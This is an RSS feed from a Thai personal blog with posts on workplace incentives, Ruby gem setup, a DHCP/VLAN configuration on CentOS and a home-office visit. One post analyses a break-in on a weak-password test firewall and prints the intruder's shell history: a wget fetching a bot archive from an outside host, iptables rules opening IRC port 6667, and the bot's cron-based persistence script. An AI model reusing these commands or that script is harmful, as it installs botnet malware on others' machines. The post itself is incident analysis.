<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>sourcode</title>
	<atom:link href="http://sourcode.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://sourcode.net</link>
	<description>There is something about me.</description>
	<lastBuildDate>Wed, 11 Jan 2012 18:39:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Tragedy of the Commons</title>
		<link>http://sourcode.net/tragedy-of-the-commons/</link>
		<comments>http://sourcode.net/tragedy-of-the-commons/#comments</comments>
		<pubDate>Wed, 11 Jan 2012 18:39:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[economic]]></category>

		<guid isPermaLink="false">http://sourcode.net/?p=1314</guid>
		<description><![CDATA[ที่ทำงานของผมนั้น ไม่ค่อยมีใครอยากทำงาน เพราะ รัฐจ่ายเงินเดือนแก่ทุกคนแบบคงที่ เท่ากัน ปรากฏว่า ทุกคนเลยไม่ยอมทำงาน บางคนก็อ้างป่วย บางคนก็อ้างทำไม่เป็น บางคนก็ทำให้นิ้วตัวเองหัก เพื่อจะได้อ้างได้ว่าไม่ต้องพิมพ์งานตลอดไป ทุกคนอยู่ในสภาพโยนงานโดยมีข้ออ้าง เป็นเกมแห่งความลำบากใจของจำเลย ทุกคนรู้ดีว่า ถ้าไม่มีใครทำงาน รัฐจะล่มสลาย แต่ก็ไม่มีใครอยากทำงาน เพราะใครกล้าขยันทำงาน งานทั้งหมดในหน่วยงานจะมากองอยู่ที่เขาคนเดียว คนทำงานคือคนที่เสียเปรียนคนอื่น จึงไม่มีใครยอมทำงาน ปัจจุบันยังไม่มีทางออกของ Tragedy of the Commons แบบนี้ ในขณะเดียวกัน การคอรัปชั่น รับสินบน ก็เป็นเกมแห่งความลำบากใจ อีกอย่างหนึ่ง ใครไม่โกง ย่อมเสียเปรียบคนอื่นในหน่วยงาน ทำนองว่า ถ้าคุณไม่คอรัปชั่น คนอื่นก็คอรัปชั่นอยู่ดี ทุกคนเลย คอรัปชั่นไว้ก่อน ทั้งยังมี แข่งขันประจบสอพลอนาย แล้วได้ดี ฯลฯ ทำให้ที่ทำงานเต็มไปด้วยแข่งคอรัปชั่น และแข่งสอพลอนาย ปัจจุบันยังไม่มีทางออก Tragedy of the Commons แบบนี้ via http://dekisugi.net/archives/15579/comment-page-1#comment-9055]]></description>
			<content:encoded><![CDATA[<p>ที่ทำงานของผมนั้น ไม่ค่อยมีใครอยากทำงาน เพราะ รัฐจ่ายเงินเดือนแก่ทุกคนแบบคงที่ เท่ากัน ปรากฏว่า ทุกคนเลยไม่ยอมทำงาน บางคนก็อ้างป่วย บางคนก็อ้างทำไม่เป็น บางคนก็ทำให้นิ้วตัวเองหัก เพื่อจะได้อ้างได้ว่าไม่ต้องพิมพ์งานตลอดไป ทุกคนอยู่ในสภาพโยนงานโดยมีข้ออ้าง เป็นเกมแห่งความลำบากใจของจำเลย ทุกคนรู้ดีว่า ถ้าไม่มีใครทำงาน รัฐจะล่มสลาย แต่ก็ไม่มีใครอยากทำงาน เพราะใครกล้าขยันทำงาน งานทั้งหมดในหน่วยงานจะมากองอยู่ที่เขาคนเดียว คนทำงานคือคนที่เสียเปรียนคนอื่น จึงไม่มีใครยอมทำงาน ปัจจุบันยังไม่มีทางออกของ Tragedy of the Commons แบบนี้</p>
<p>ในขณะเดียวกัน การคอรัปชั่น รับสินบน ก็เป็นเกมแห่งความลำบากใจ อีกอย่างหนึ่ง ใครไม่โกง ย่อมเสียเปรียบคนอื่นในหน่วยงาน ทำนองว่า ถ้าคุณไม่คอรัปชั่น คนอื่นก็คอรัปชั่นอยู่ดี ทุกคนเลย คอรัปชั่นไว้ก่อน ทั้งยังมี แข่งขันประจบสอพลอนาย แล้วได้ดี ฯลฯ ทำให้ที่ทำงานเต็มไปด้วยแข่งคอรัปชั่น และแข่งสอพลอนาย<br />
ปัจจุบันยังไม่มีทางออก Tragedy of the Commons แบบนี้</p>
<p>via http://dekisugi.net/archives/15579/comment-page-1#comment-9055</p>
]]></content:encoded>
			<wfw:commentRss>http://sourcode.net/tragedy-of-the-commons/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ryby on rails and gems</title>
		<link>http://sourcode.net/ryby-on-rails-and-gems/</link>
		<comments>http://sourcode.net/ryby-on-rails-and-gems/#comments</comments>
		<pubDate>Sun, 23 Oct 2011 15:30:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[how-to]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[gems]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[ruby]]></category>

		<guid isPermaLink="false">http://sourcode.net/?p=1315</guid>
		<description><![CDATA[หลังจากที่เรา # apt-get install ruby rubygems ไปแล้ว สิ่งแรกที่ต้องทำเพื่อให้ใช้ gem ได้ คือ # export PATH="$PATH":/var/lib/gems/1.8/bin # export PATH หรือ ไปเพิ่มใน /etc/profile จบ]]></description>
			<content:encoded><![CDATA[<p>หลังจากที่เรา # apt-get install ruby rubygems ไปแล้ว<br />
สิ่งแรกที่ต้องทำเพื่อให้ใช้ gem ได้ คือ </p>
<p><code># export PATH="$PATH":/var/lib/gems/1.8/bin<br />
# export PATH</code></p>
<p>หรือ ไปเพิ่มใน<br />
/etc/profile</p>
<p>จบ</p>
]]></content:encoded>
			<wfw:commentRss>http://sourcode.net/ryby-on-rails-and-gems/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cufflink</title>
		<link>http://sourcode.net/cufflink/</link>
		<comments>http://sourcode.net/cufflink/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 15:39:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[life]]></category>
		<category><![CDATA[story]]></category>
		<category><![CDATA[tweet]]></category>
		<category><![CDATA[Cufflink]]></category>
		<category><![CDATA[influencer]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://sourcode.net/?p=1309</guid>
		<description><![CDATA[การ์ตูนเป็น influencer ได้เลยนะเนี่ย]]></description>
			<content:encoded><![CDATA[<p><a href="http://sourcode.net/wp-content/uploads/2011/09/Screen-shot-2011-09-22-at-10.33.29-PM.png"><img src="http://sourcode.net/wp-content/uploads/2011/09/Screen-shot-2011-09-22-at-10.33.29-PM.png" alt="" title="Screen shot 2011-09-22 at 10.33.29 PM" width="479" height="789" class="alignnone size-full wp-image-1310" /></a></p>
<p>การ์ตูนเป็น influencer ได้เลยนะเนี่ย <img src='http://sourcode.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  <img src='http://sourcode.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  </p>
]]></content:encoded>
			<wfw:commentRss>http://sourcode.net/cufflink/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The hacker ep 1</title>
		<link>http://sourcode.net/the-hacker-ep-1/</link>
		<comments>http://sourcode.net/the-hacker-ep-1/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 15:18:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[life]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[story]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://sourcode.net/?p=1299</guid>
		<description><![CDATA[firewall โดน hack ครับ&#8230; จริงๆ คือเปิดไว้ให้ hack นั่นแหละ เพราะ ตั้งให้ ssh ผ่าน port 22 แถมยัง ตั้ง password ของ root โคตรง่ายยยยยยยยย username : root password : 123456 อีกทั้งภายในตัว firewall ก็ไม่มีอะไร และด้านหลัง firewall ก็ไม่มี client (ตั้ง firewall ไว้ทดสอบ IDS เฉยๆ) สถานการณ์ login โดยใช้ password เดิม ไม่ได้ จึงคิดว่า โดน hack แน่นอน จึงทำการ boot เป็น single แล้วแก้ password ตรวจสอบ [...]]]></description>
			<content:encoded><![CDATA[<h2>firewall โดน hack ครับ&#8230;</h2>
<p>จริงๆ คือเปิดไว้ให้ hack นั่นแหละ เพราะ ตั้งให้ ssh ผ่าน port 22 แถมยัง ตั้ง password ของ root โคตรง่ายยยยยยยยย</p>
<blockquote><p>username : root<br />
password : 123456</p></blockquote>
<p>อีกทั้งภายในตัว firewall ก็ไม่มีอะไร และด้านหลัง firewall ก็ไม่มี client (ตั้ง firewall ไว้ทดสอบ IDS เฉยๆ)</p>
<h1>สถานการณ์</h1>
<p>login โดยใช้ password เดิม ไม่ได้ จึงคิดว่า โดน hack แน่นอน</p>
<p>จึงทำการ boot เป็น single แล้วแก้ password</p>
<h1>ตรวจสอบ</h1>
<p>login เข้าเครื่องได้ ได้ปุุ๊บก็ตรวจ history ทันที</p>
<pre>    1  uname -a
    2  cat /proc/cpuinfo
    3  uname -a
    4  ls -a
    5  php -v
    6  cat .bash_history
    7  cat .bash_history
    8  cd /var/tmp
    9  ls -a
   10  cd  thunder
   11  ls -a
   12  mkdir thunder
   13  cd /tmp
   14  ls -a
   15  mkdir .X10-unix
   16  cd .X10-unix
   17  mkdir ...
   18  cd ...
   19  wget http://angellove.ucoz.net/_ld/0/6_crondDts.tgz
   20  tar -xzvf 6_crondDts.tgz
   21  rm -rf 6_crondDts.tgz
   22  cd crondDts
   23  ls -a
   24  nano m.set
   25  chmod +x *
   26  ./crond
   27  ./autorun
   28  iptables -I INPUT -p tcp --dport 6667 -j ACCEPT
   29  iptables -I OUTPUT -p tcp --dport 6667 -j ACCEPT
   30  /sbin/iptables -I INPUT -d 0/0 -s 0/0 -p tcp --dport 6667 -j ACCEPT
   31  /sbin/iptables -I OUTPUT -d 0/0 -s 0/0 -p tcp --dport 6667 -j ACCEPT
   32  id
   33  passwd
   34  ls</pre>
<p>พบว่า&#8230; hacker พยายาม โหลดอะไรบางอย่างมาติดตั้ง(19) แล้วทำการแก้ไข iptables ให้เปิด port 6667 (28-31)<br />
พบว่า&#8230; hacker ช่างไม่รู้เลยว่า&#8230; firewall ไม่มี gateway จะโหลดอะไร(19)มาต้อง route add default gw ก่อนนะ(สอน)<br />
พบว่า&#8230; hacker อ่อนมาก เพราะพิมพ์ผิดหลายครั้ง แถมยังทำอะไรๆผิดหลายอย่าง = =!<br />
พบว่า&#8230; hacker พยายามทำอะไรสักอย่างกับ cron(26)</p>
<pre># crontab -l
* * * * * /tmp/.X10-unix/.../crondDts/y2kupdate &gt;/dev/null 2&gt;&amp;1</pre>
<p>แต่เนื่องจาก reboot ไปแล้ว จึงไม่ทราบว่า y2kupdate มันคืออะไร<br />
จากการคาดเดาแล้ว hacker คนนี้ไม่ใช่มนุษย์ ต้องเป็น bot ที่ hack ไปเรื่อยๆๆๆๆๆๆ จนกว่าไฟจะดับ network จะล่ม เพราะ y2kupdate มันตั้งแต่ปี 2000 แล้ว(โว้ย)</p>
<h1>ย้อนรอย</h1>
<p>เนื่องจากไม่ได้เก็บ log file จึงไม่รู้ว่าโดน hack มาจาก IP ไหน (ลืมนั่นเอง)</p>
<h1>มันมีอะไร</h1>
<p>bot hacker พยายามโหลดอะไรบางอย่าง(ซึ่งไม่สำเร็จ)</p>
<p>เรามาดูกันว่าข้างในมีอะไร &#8230;</p>
<pre>$ wget http://angellove.ucoz.net/_ld/0/6_crondDts.tgz
--2011-09-22 22:03:21--  http://angellove.ucoz.net/_ld/0/6_crondDts.tgz
Resolving angellove.ucoz.net... 193.109.247.52
Connecting to angellove.ucoz.net|193.109.247.52|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 270564 (264K) [application/octet-stream]
Saving to: `6_crondDts.tgz.2'

100%[======================================>] 270,564     13.1K/s   in 13s     

2011-09-22 22:03:34 (20.8 KB/s) - `6_crondDts.tgz.2' saved [270564/270564]</pre>
<p>ข้างในมี file อยู่ 4 file</p>
<pre>$ ls -l
total 36
-rw-r--r-- 1 code code    97 2011-06-14 19:43 1
-rw-r--r-- 1 code code   140 2011-06-14 19:43 2
-rw-r--r-- 1 code code   323 2001-10-13 21:38 autorun
-rw-r--r-- 1 code code 24576 2011-09-22 22:07 crond</pre>
<p>ขอดูข้างในหน่อยซิ</p>
<pre>$ cat 1
handle		angellove
mask		*!*@XsmartGuard.users.undernet.org
prot		4
channel		*
access		100

$ cat 2
handle          angeloflove
mask            *!*@XsmartGuard.users.undernet.org
prot            4
channel         *
access          100

$ cat autorun
#!/bin/sh
pwd > m.dir
dir=$(cat m.dir)
echo "* * * * * $dir/y2kupdate >/dev/null 2>&#038;1" > cron.d
crontab cron.d
crontab -l | grep y2kupdate
echo "#!/bin/sh
if test -r $dir/m.pid; then
pid=\$(cat $dir/m.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&#038;1)
then
exit 0
fi
fi
cd $dir
./run &#038;>/dev/null" > y2kupdate
chmod u+x y2kupdate

$ file crond
crond: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked (uses shared libs), stripped</pre>
<p>ผมพยายาม search หาข้อมูลแต่ก็ไม่พบว่า มันคืออะไร แต่เท่าที่ดู น่าจะเป็น <a href="http://en.wikipedia.org/wiki/Botnet" title="Botnet">Botnet</a></p>
<p>เอาไว้โดน hack อีกแล้วจะเล่าให้ฟังนะครับ <img src='http://sourcode.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://sourcode.net/the-hacker-ep-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CentOS6 and DHCP server with vlan</title>
		<link>http://sourcode.net/centos6-and-dhcp-server-with-vlan/</link>
		<comments>http://sourcode.net/centos6-and-dhcp-server-with-vlan/#comments</comments>
		<pubDate>Tue, 20 Sep 2011 19:00:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[how-to]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[tech]]></category>
		<category><![CDATA[centos]]></category>
		<category><![CDATA[dhcp]]></category>
		<category><![CDATA[vlan]]></category>

		<guid isPermaLink="false">http://sourcode.net/?p=1289</guid>
		<description><![CDATA[โจทย์ไม่ยาก ไม่ง่าย &#8230; แค่ไม่เคยทำ ความต้องการ 1. dhcp server บน CentOS6 2. แจก ip-address บน subnet ตามต้องการ 3. มี switch layer 2 เป็นตัวแยก vlan ิวิธีทำ 1. สร้าง vlan id ใน switch ก่อน ตัวอย่าง 2. ติดตั้ง dhcp server , vconfig # yum install dhcp vconfig -y 3. load module 802.1q # modprobe 8021q check : # lsmod [...]]]></description>
			<content:encoded><![CDATA[<p>โจทย์ไม่ยาก ไม่ง่าย &#8230; แค่ไม่เคยทำ</p>
<h1>ความต้องการ</h1>
<p>1. dhcp server บน CentOS6<br />
2. แจก ip-address บน subnet ตามต้องการ<br />
3. มี switch layer 2 เป็นตัวแยก vlan</p>
<h1>ิวิธีทำ</h1>
<p>1. สร้าง vlan id ใน switch ก่อน<br />
ตัวอย่าง<br />
<a href="http://sourcode.net/wp-content/uploads/2011/09/vlan.png"><img class="alignnone size-large wp-image-1291" title="vlan" src="http://sourcode.net/wp-content/uploads/2011/09/vlan-1024x402.png" alt="" width="960" height="376" /></a></p>
<p>2. ติดตั้ง dhcp server , vconfig</p>
<pre># yum install dhcp vconfig -y</pre>
<p>3. load module 802.1q</p>
<pre># modprobe 8021q</pre>
<p>check :</p>
<pre># lsmod | grep 8021q
8021q                  19587  0
garp                    5901  1 8021q</pre>
<p>4. สร้าง vlan interfaces</p>
<pre># cat /etc/sysconfig/network-scripts/ifcfg-eth0.2
DEVICE="eth0.2"
ONBOOT="yes"
BOOTPROTO=none
VLAN="yes"
IPADDR=10.156.3.2
NETMASK=255.255.255.0

# cat /etc/sysconfig/network-scripts/ifcfg-eth0.3
DEVICE="eth0.3"
ONBOOT="yes"
BOOTPROTO=none
VLAN="yes"
IPADDR=10.156.4.2
NETMASK=255.255.255.0

# cat /etc/sysconfig/network-scripts/ifcfg-eth0.4
DEVICE="eth0.4"
ONBOOT="yes"
BOOTPROTO=none
VLAN="yes"
IPADDR=10.156.5.2
NETMASK=255.255.255.0

# cat /etc/sysconfig/network-scripts/ifcfg-eth0.5
DEVICE="eth0.5"
ONBOOT="yes"
BOOTPROTO=none
VLAN="yes"
IPADDR=10.156.6.2
NETMASK=255.255.255.0

# cat /etc/sysconfig/network-scripts/ifcfg-eth0.6
DEVICE="eth0.6"
ONBOOT="yes"
BOOTPROTO=none
VLAN="yes"
IPADDR=10.156.7.2
NETMASK=255.255.255.0

# cat /etc/sysconfig/network-scripts/ifcfg-eth0.7
DEVICE="eth0.7"
ONBOOT="yes"
BOOTPROTO=none
VLAN="yes"
IPADDR=10.156.9.2
NETMASK=255.255.255.0

# cat /etc/sysconfig/network-scripts/ifcfg-eth0.8
DEVICE="eth0.8"
ONBOOT="yes"
BOOTPROTO=none
VLAN="yes"
IPADDR=10.156.11.2
NETMASK=255.255.255.0

# cat /etc/sysconfig/network-scripts/ifcfg-eth0.9
DEVICE="eth0.9"
ONBOOT="yes"
BOOTPROTO=none
VLAN="yes"
IPADDR=10.156.13.2
NETMASK=255.255.255.0</pre>
<p>5. สร้าง /etc/dhcp/dhcpd.conf</p>
<pre>ddns-update-style interim;
ignore client-updates;

authoritative;

subnet 10.156.3.0 netmask 255.255.255.0 {
 option routers      10.156.3.1;
 option subnet-mask  255.255.255.0;
 option domain-name-servers 208.67.222.222,8.8.8.8;
 option time-offset  -18000; # Eastern Standard Time
 range dynamic-bootp 10.156.3.21 10.156.3.200;
 default-lease-time 21600;
 max-lease-time 43200;
}
subnet 10.156.4.0 netmask 255.255.255.0 {
 option routers      10.156.4.1;
 option subnet-mask  255.255.255.0;
 option domain-name-servers 208.67.222.222,8.8.8.8;
 option time-offset  -18000; # Eastern Standard Time
 range dynamic-bootp 10.156.4.21 10.156.4.200;
 default-lease-time 21600;
 max-lease-time 43200;
}
subnet 10.156.5.0 netmask 255.255.255.0 {
 option routers      10.156.5.1;
 option subnet-mask  255.255.255.0;
 option domain-name-servers 208.67.222.222,8.8.8.8;
 option time-offset  -18000; # Eastern Standard Time
 range dynamic-bootp 10.156.5.21 10.156.5.200;
 default-lease-time 21600;
 max-lease-time 43200;
}
subnet 10.156.6.0 netmask 255.255.255.0 {
 option routers      10.156.6.1;
 option subnet-mask  255.255.255.0;
 option domain-name-servers 208.67.222.222,8.8.8.8;
 option time-offset  -18000; # Eastern Standard Time
 range dynamic-bootp 10.156.6.21 10.156.6.200;
 default-lease-time 21600;
 max-lease-time 43200;
}
subnet 10.156.7.0 netmask 255.255.255.0 {
 option routers      10.156.7.1;
 option subnet-mask  255.255.255.0;
 option domain-name-servers 208.67.222.222,8.8.8.8;
 option time-offset  -18000; # Eastern Standard Time
 range dynamic-bootp 10.156.7.21 10.156.7.200;
 default-lease-time 21600;
 max-lease-time 43200;
}
subnet 10.156.9.0 netmask 255.255.255.0 {
 option routers      10.156.9.1;
 option subnet-mask  255.255.255.0;
 option domain-name-servers 208.67.222.222,8.8.8.8;
 option time-offset  -18000; # Eastern Standard Time
 range dynamic-bootp 10.156.9.21 10.156.9.200;
 default-lease-time 21600;
 max-lease-time 43200;
}
subnet 10.156.11.0 netmask 255.255.255.0 {
 option routers      10.156.11.1;
 option subnet-mask  255.255.255.0;
 option domain-name-servers 208.67.222.222,8.8.8.8;
 option time-offset  -18000; # Eastern Standard Time
 range dynamic-bootp 10.156.11.21 10.156.11.200;
 default-lease-time 21600;
 max-lease-time 43200;
}
subnet 10.156.13.0 netmask 255.255.255.0 {
 option routers      10.156.13.1;
 option subnet-mask  255.255.255.0;
 option domain-name-servers 208.67.222.222,8.8.8.8;
 option time-offset  -18000; # Eastern Standard Time
 range dynamic-bootp 10.156.13.21 10.156.13.200;
 default-lease-time 21600;
 max-lease-time 43200;
}</pre>
<p>ปล. ปรับได้ตามความเหมาะสม</p>
<p>6. แก้ไข /etc/sysconfig/dhcpd</p>
<pre>DHCPDARGS=eth0.2
DHCPDARGS=eth0.3
DHCPDARGS=eth0.4
DHCPDARGS=eth0.5
DHCPDARGS=eth0.6
DHCPDARGS=eth0.7
DHCPDARGS=eth0.8
DHCPDARGS=eth0.9</pre>
<p>ปล. ปรับได้ตามความเหมาะสม</p>
<p>7. start ซะ!</p>
<pre># service dhcpd start</pre>
]]></content:encoded>
			<wfw:commentRss>http://sourcode.net/centos6-and-dhcp-server-with-vlan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BSquare เหม่งจ๋าย – พระราม 9</title>
		<link>http://sourcode.net/bsquare-mengjai-rama9/</link>
		<comments>http://sourcode.net/bsquare-mengjai-rama9/#comments</comments>
		<pubDate>Sat, 10 Sep 2011 04:25:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[cool]]></category>
		<category><![CDATA[bsquare]]></category>
		<category><![CDATA[party]]></category>
		<category><![CDATA[sansiri]]></category>

		<guid isPermaLink="false">http://sourcode.net/?p=1230</guid>
		<description><![CDATA[เนื่องจากเจ้าของ blog ขี้เกียจมาก &#8230; จึงขอให้ผู้อ่าน เชิญที่ http://www.yokekungworld.com/2011/09/bsquare-rama9-mengjai-home-office-sansiri/ สั้นๆ ง่ายๆ ก็คือ BSquare คือ บ้าน+ที่ทำงาน ราละเอียดเพิ่มเติม B-SQUARE RAMA IV &#8211; MENGJAI ปล. รูปทั้งหมด ถ่ายจาก Motorlla Milestone จากฝีมือ ตากล้องโรคจิต จิตป่วง]]></description>
			<content:encoded><![CDATA[<p>เนื่องจากเจ้าของ blog ขี้เกียจมาก &#8230; จึงขอให้ผู้อ่าน เชิญที่<br />
<a title="พาชมโฮมออฟฟิศ BSquare สุดฮิปย่านเหม่งจ๋าย – พระราม 9 กลั่นไอเดียบรรเจิดทุกงานศิลป์" href="http://www.yokekungworld.com/2011/09/bsquare-rama9-mengjai-home-office-sansiri/" target="_blank">http://www.yokekungworld.com/2011/09/bsquare-rama9-mengjai-home-office-sansiri/</a></p>
<p>สั้นๆ ง่ายๆ ก็คือ BSquare คือ บ้าน+ที่ทำงาน<br />
ราละเอียดเพิ่มเติม <a title="B-SQUARE RAMA IV - MENGJAI" href="http://www.sansiri.com/commercial/b_square/en/home/" target="_blank">B-SQUARE RAMA IV &#8211; MENGJAI</a></p>

<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-00-00_654/' title='2011-09-09_21-00-00_654'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-00-00_654-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-00-00_654" title="2011-09-09_21-00-00_654" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-01-38_217/' title='2011-09-09_21-01-38_217'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-01-38_217-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-01-38_217" title="2011-09-09_21-01-38_217" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-02-13_512/' title='2011-09-09_21-02-13_512'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-02-13_512-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-02-13_512" title="2011-09-09_21-02-13_512" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-03-10_419/' title='2011-09-09_21-03-10_419'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-03-10_419-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-03-10_419" title="2011-09-09_21-03-10_419" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-03-25_272/' title='2011-09-09_21-03-25_272'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-03-25_272-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-03-25_272" title="2011-09-09_21-03-25_272" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-03-32_268/' title='2011-09-09_21-03-32_268'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-03-32_268-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-03-32_268" title="2011-09-09_21-03-32_268" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-03-41_977/' title='2011-09-09_21-03-41_977'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-03-41_977-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-03-41_977" title="2011-09-09_21-03-41_977" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-04-30_71/' title='2011-09-09_21-04-30_71'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-04-30_71-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-04-30_71" title="2011-09-09_21-04-30_71" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-05-43_56/' title='2011-09-09_21-05-43_56'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-05-43_56-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-05-43_56" title="2011-09-09_21-05-43_56" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-06-16_795/' title='2011-09-09_21-06-16_795'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-06-16_795-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-06-16_795" title="2011-09-09_21-06-16_795" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-07-14_765/' title='2011-09-09_21-07-14_765'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-07-14_765-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-07-14_765" title="2011-09-09_21-07-14_765" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-07-23_254/' title='2011-09-09_21-07-23_254'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-07-23_254-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-07-23_254" title="2011-09-09_21-07-23_254" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-07-46_849/' title='2011-09-09_21-07-46_849'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-07-46_849-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-07-46_849" title="2011-09-09_21-07-46_849" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-08-03_695/' title='2011-09-09_21-08-03_695'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-08-03_695-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-08-03_695" title="2011-09-09_21-08-03_695" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-08-47_980/' title='2011-09-09_21-08-47_980'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-08-47_980-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-08-47_980" title="2011-09-09_21-08-47_980" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-12-52_425/' title='2011-09-09_21-12-52_425'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-12-52_425-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-12-52_425" title="2011-09-09_21-12-52_425" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-13-02_818/' title='2011-09-09_21-13-02_818'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-13-02_818-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-13-02_818" title="2011-09-09_21-13-02_818" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-13-17_762/' title='2011-09-09_21-13-17_762'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-13-17_762-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-13-17_762" title="2011-09-09_21-13-17_762" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-13-45_26/' title='2011-09-09_21-13-45_26'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-13-45_26-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-13-45_26" title="2011-09-09_21-13-45_26" /></a>
